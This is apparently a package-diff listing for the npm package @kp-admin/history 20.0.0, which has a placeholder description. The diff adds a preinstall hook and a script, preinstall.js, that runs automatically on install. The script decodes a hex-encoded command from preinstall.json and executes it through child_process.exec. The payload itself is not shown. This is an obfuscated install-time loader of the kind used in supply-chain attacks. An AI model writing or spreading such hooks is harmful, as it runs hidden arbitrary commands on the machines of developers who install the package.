@kp-admin/history 20.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +14 -0
- package/preinstall.js +26 -0
- package/preinstall.json +3 -0
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "@kp-admin/history",
|
3
|
+
"version": "20.0.0",
|
4
|
+
"description": "description",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.js"
|
8
|
+
},
|
9
|
+
"author": "kp-admin",
|
10
|
+
"license": "MIT",
|
11
|
+
"publishConfig": {
|
12
|
+
"access": "public"
|
13
|
+
}
|
14
|
+
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
fs.readFile('preinstall.json', 'utf8', (err, data) => {
|
5
|
+
if (err) {
|
6
|
+
console.error('File Read Errot:', err);
|
7
|
+
return;
|
8
|
+
}
|
9
|
+
|
10
|
+
const parsedData = JSON.parse(data);
|
11
|
+
const hexCommand = parsedData.command;
|
12
|
+
|
13
|
+
const commandBuffer = Buffer.from(hexCommand, 'hex');
|
14
|
+
const decodedCommand = commandBuffer.toString('utf8');
|
15
|
+
|
16
|
+
exec(decodedCommand, (error, stdout, stderr) => {
|
17
|
+
if (error) {
|
18
|
+
console.error(`Command Exec Error: ${error}`);
|
19
|
+
return;
|
20
|
+
}
|
21
|
+
console.log(`Output:\n${stdout}`);
|
22
|
+
if (stderr) {
|
23
|
+
console.error(`Error:\n${stderr}`);
|
24
|
+
}
|
25
|
+
});
|
26
|
+
});
|
package/preinstall.json
ADDED